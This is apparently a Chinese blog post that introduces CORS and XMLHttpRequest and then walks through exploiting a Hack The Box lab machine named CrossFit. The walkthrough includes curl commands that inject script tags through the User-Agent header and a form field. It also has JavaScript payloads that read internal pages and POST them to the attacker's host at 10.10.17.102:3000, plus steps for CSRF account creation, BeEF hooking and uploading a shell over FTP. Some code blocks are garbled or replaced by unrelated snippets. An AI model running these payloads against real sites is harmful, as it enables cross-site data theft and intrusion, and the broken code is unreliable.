基础知识
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。
它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。
请求头信息中的Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。
如果指定的源不在范围内,服务器则会返回一个正常的http响应,浏览器会发现这个回应的头没有包含Access-Control-Allow-Origin,就知道出错了,从而抛出一个错误,被XMLHttpRequest的onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。
如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。
Access-Control-Allow-Credentials、Access-Control-Allow-Origin
Access-Control-Expose-Headers
1、Access-Control-Allow-Credentials 它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。
2、Access-Control-Allow-Origin要么是请求时origin的字段值,要么是一个*。
3、Access-Control-Expose-Headers CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。
withCredentials 属性
CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials:ture
同时开发时AJAX请求中打开withCredentials属性。
如果省略withCredentials设置,有的浏览器还是会一起发送Cookie。这时,可以显示关闭withCredentials
注意
如果要发送Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会有效,其他域名的Cookie并不会有效,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。
XMLHttpRequest对象
新建一个XMLHttpRequest的实例。
var xhr = new XMLHttpRequest();
向远程主机发出一个HTTP请求。
xhr.open('GET', 'example.php');
xhr.send()
;
等待远程主机做出回应。这时需要监控XMLHttpRequest对象的状态变化,指定回调函数。
xhr.onreadystatechange = function(){
if ( xhr.readyState == 4 && xhr.status == 200 ) {
alert( xhr.responseText );
} else {
alert( xhr.statusText );
}
};
XMLHttpRequest对象的主要属性:
xhr.readyState:XMLHttpRequest对象的状态,等于4表示数据已经接收完毕。
* xhr.status:服务器返回的状态码,等于200表示一切正常。
* xhr.responseText:服务器返回的文本数据
* xhr.responseXML:服务器返回的XML格式的数据
* xhr.statusText:服务器返回的状态文本。
新版参数参考
http://www.ruanyifeng.com/blog/2012/09/xmlhttprequest_level_2.html
cross漏洞利用
1.运用知识:
跨站脚本攻击、服务器请求伪造、跨域资源共享、javascript
2.漏洞利用复现:
信息收集
1)通过端口和目录扫描域名爆破,获取到域名
2)发现存在cross漏洞
3)域名爆破
4)跨站脚本攻击
漏洞利用
1)通过使用<script src="http://10.10.17.102"></script>使服务器执行跨站脚本攻击。同时执行访问我利用python开启的http服务器。
2)利用beef使主机上线
3)这里可以利用跨站脚本攻击带入执行CSRF跨站请求伪造进行攻击跨域资源。此时可通过利用JavaScript中的XMLHttpRequest进行漏洞利用。
首先制作测试payload:report.js,并开启我本地的python提供的http服务,然后利用curl发起请求。
curl -s http://gym-club.crossfit.htb/blog-single.php --data 'name=0xdf&[email protected]&phone=9999999999&message=%3Cscript+src%3D%22http%3A%2F%2F10.10.17.102%22%3E%3C%2Fscript%3E&submit=submit' -H 'User-Agent: <script src="http://10.10.17.102/"></script>'
4)第一次请求
首先制作测试payload:report.js,并开启我本地的python提供的http服务,然后利用curl发起请求。这个 JavaScript 将查询report.php,然后当该请求完成时,它会创建一个新请求并将结果作为 POST 返回到我的http服务上。
curl -s http://gym-club.crossfit.htb/blog-single.php --data 'name=msdx1&[email protected]&phone=9999999999&message=%3Cscript+src%3D%22http%3A%2F%2F10.10.17.102%22%3E%3C%2Fscript%3E&submit=submit' -H 'User-Agent: <script src="http://10.10.17.102/report.js"></script>' | grep -i xss
///report.js
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
if(fetch_req.readyState == XMLHttpRequest.DONE) {
var exfil_req = new XMLHttpRequest();
exfil_req.open("POST", "http://10.10.17.102:3000", false);
exfil_req.send("Resp Code: " + fetch_req.status + "nPage Source:n" + fetch_req.response);
}
};
fetch_req.open("GET", "http://gym-club.crossfit.htb/security_threat/report.php", false);
fetch_req.send();
5)第二次请求发送创建账号的请求,返回数据包中得到http://ftp.crossfit.htb/accounts/create的接口,它包含一个允许用户设置用户名和密码的表单。
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
if(fetch_req.readyState == XMLHttpRequest.DONE) {
var exfil_req = new XMLHttpRequest();
exfil_req.open("POST", "http://10.10.17.102:3000", false);
exfil_req.send("Resp Code: " + fetch_req.status + "nPage Source:n" + fetch_req.response);
}
};
fetch_req.open("GET", "http://ftp.crossfit.htb/", false);
fetch_req.send();
curl -s http://gym-club.crossfit.htb/blog-single.php --data 'name=msdx1&[email protected]&phone=9999999999&message=%3Cscript+src%3D%22http%3A%2F%2F10.10.17.102%22%3E%3C%2Fscript%3E&submit=submit' -H 'User-Agent: <script src="http://10.10.17.102/ftp-create-get.js"></script>'
6)第三次请求,想从管理员的机器上创建一个账户,需要将跨站脚本攻击转为csrf服务器请求伪造攻击,欺骗其他人在他们的访问/授权下采取我想要的行动,以实现在ftp.crossfit.htb 下创建一个我想要的用户。
Laravel 为应用程序管理的每个活动用户会话自动生成一个 CSRF“令牌”。此令牌用于验证经过身份验证的用户是否就是实际向应用程序发出请求的人。由于此令牌存储在用户的会话中,并且每次重新生成会话时都会更改,因此恶意应用程序无法访问它。
需要确保CSRF在一个会话内重新发送。为此,我只需要在 XMLHttpRequest 对象中设置request.withCredentials = true;
我将首先请求在 ftp.crossfit.htb/accounts/create 获得该页面。在该页面中,我将找到 CSRF 令牌,然后使用该令牌、用户名和密码向ftp.crossfit.htb/accounts 发送 POST。然后我会将结果发布到我的主机上。
xhr.open('GET', 'example.php');
xhr.send()
0
xhr.open('GET', 'example.php');
xhr.send()
1
由于该ftp使用的是加密的,所以需要借助lftp进行连接管理。标准 Linux 发行版的 ftp 客户端没有这个选项,需要安装并连接。
aptinstall lftp
lftpftp.crossfit.htb -u msdx1
密码
setssl:verify-certificate false
再次发现一个域名,尝试上传shell
利用ftp上传shell
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...